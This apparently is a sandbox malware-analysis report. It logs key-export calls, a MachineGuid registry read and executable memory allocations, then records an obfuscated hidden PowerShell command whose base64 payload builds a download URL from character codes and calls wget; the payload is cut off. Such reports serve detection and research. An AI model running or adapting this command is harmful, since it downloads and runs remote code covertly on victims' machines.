 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce1e40
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce1f20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce1f20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce1f20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce1f20
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce22a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce22a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce22a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2770
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce28c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce28c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce28c0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce29a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce29a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2a10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce2a10
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce29a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce29a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002ce29a0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002cb84b0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d07630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002d07630
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000000482890
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d940
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d940
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d940
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d390
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d390
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d1d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d1d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d1d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0000000002c0d1d0
flags: 0
crypto_export_handle: 0x0000000000000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 792
region_size: 69632
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023d0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 792
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023e0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 792
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000002b80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefa1b7000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fef69c9000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000023e0000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bb4000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefc1d5000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdc44000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000007fefdad1000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076b9a000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bd2000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 792
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 11735040
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00000000027f0000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffffffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2252
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000003320000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076c01000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2252
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0000000076bad000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\Desktop\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\SYstEm32\wIndowsPOWERsHeLL\V1.0\pOWERSheLL.ExE" "POWErshELl -eX BYPasS -nOp -w hIDdEN -Ec IAAJAAkACQAJAAkACQAJAAkACQAJAAkAWwBuAGUAVAAuAFMARQBSAFYAaQBDAGUAcABPAEkATgB0AG0AQQBOAGEARwBlAFIAXQA6ADoAcwBFAEMAdQBSAGkAVABZAFAAcgBPAFQAbwBDAG8AbAAgAAkACQAgAAkACQAgACAAIAAgAAkACQAJACAAIAAgAD0AIAAJACAACQAgAAkACQAgAAkAIAAJACAACQAgAFsATgBlAHQALgBTAGUAYwBVAHIASQB0AFkAcAByAE8AVABPAEMATwBMAFQAWQBQAGUAXQA6ADoAVABsAHMAMQAyACAACQAJAAkACQAJAAkAOwAgAAkAIAAgAAkAIAAJAAkAIAB3AGcAZQB0ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMAA0ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAGgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADEAMQAyACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUAOAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA3ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMASABhAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAGEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADEAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA2ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAYQByAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQAOQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBIAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADUAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAEMASABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAEgAYQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADQANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAYwBoAEEAcgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA1ADAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAHIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANAA4ACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBDAEgAQQBSAF0AIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgADUANgAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACsAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgAFsAQwBoAEEAUgBdACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAA0ADcAIAAgAAkAIAAJAAkAIAAgAAkACQAgACAAIAAgAAkACQAgACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAArACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIABbAGMAaABBAFIAXQAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAANQAwACAAIAAJACAACQAJACAAIAAJAAkAIAAgACAAIAAJAAkAIAAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAKwAgACAACQAgAAkACQAgACAACQAJACAAIAAgACAACQAJACAAWwBjAGgAQQBSAF0AIAAgAAkAIAAJA